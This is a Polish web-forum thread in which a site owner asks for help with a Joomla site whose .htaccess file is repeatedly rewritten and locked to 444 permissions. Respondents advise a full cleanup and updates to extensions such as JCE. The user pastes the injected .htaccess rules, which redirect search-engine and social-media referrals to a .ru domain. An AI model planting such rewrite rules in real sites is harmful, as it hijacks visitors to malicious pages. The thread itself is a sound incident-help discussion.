Zmiana w pliku htaccess
Cały czas ktoś mi zmienia na serwerze plik htaccess normalnie co minutę jak ja tylko zmienię na swój to po minucie 2 znów jest ten plik nagryany i zmieniane urawnienia na 444 .Joomle i wszystkie skrypty mam aktualne sprawdzałem nie mam żadnego wirusa w plikach bo zrzuciłem na serwer i przeskanowałem.
Na wstępie tak zrobiłem i dalej systematycznie są podmiany co pare minut i ustwienie praw na 444
To znaczy, że nie zrobiłeś wszystkiego... Punkt po punkcie
Należy szczególnie zwrócić uwagę na aktualność rozszerzeń J! - wiadomo już, że do podobnych ataków była wykorzystywana dziura w starych wersjach JCE, prawdopodobnie też w Phoca Gallery. Ale podstawa to to, co wskazał Bazyl.
Zaktualizowałem też JCE ale to jak by normalnie automat działał ja wyrzucę z htaccess szkodliwy kod a za 2 minuty znów dostaje go. Takie mi coś dogrywają
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|linkedin |flickr|filesearch|yell|openstat|metabot|gigablast |entireweb|amfibi|dmoz|yippy|walhello|webcrawler|j ayde|findwhat|teoma|euroseek|wisenut|about|thunder stone|ixquick|terra|lookle|metaeureka|searchspot|s lider|topseven|allthesites|libero|clickey|galaxy|b rainysearch|pocketflier|verygoodsearch|bellnet|fre enet|fireball|flemiro|suchbot|acoon|devaro|fastbot |netzindex|abacho|allesklar|suchnase|schnellsuche| sharelook|sucharchiv|suchbiene|suchmaschine|infosp ace)\.(.*)
RewriteRule ^(.*)$ http://necktiesscaling.ru/VEREIN?8 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|a rcor|alexana|tiscali|kataweb|voila|sfr|startpagina |kpnvandaag|ilse|wanadoo|telfort|hispavista|passag en|spray|eniro|telia|bluewin|sympatico|nlsearch|at search|klammeraffe|sharelook|suchknecht|ebay|abizd irectory|alltheuk|bhanvad|daffodil|click4choice|ex alead|findelio|gasta|gimpsy|globalsearchdirectory| hotfrog|jobrapido|kingdomseek|mojeek|searchers|sim plyhired|splut|thisisouryear|ukkey|uwe|friendsreun ited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala| limier|express|bestireland|browseireland|finditire land|iesearch|kompass|startsiden|confex|finnalle|g ulesider|keyweb|finnfirma|kvasir|savio|sol|startsi den|allpages|america|botw|chapu|claymont|clickz|cl ush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://necktiesscaling.ru/VEREIN?8 [R=301,L]
</IfModule>
Nie pisałem, że aktualizacja JCE zamiast listy zadań z wiki, tylko ze masz na aktualizację zwrócić szczególna uwagę
To, o czym piszesz, będzie się działo tak długo, jak długo nie usuniesz infekcji na stronie i luki, przez którą strona została zakażona.
Reguły pisania
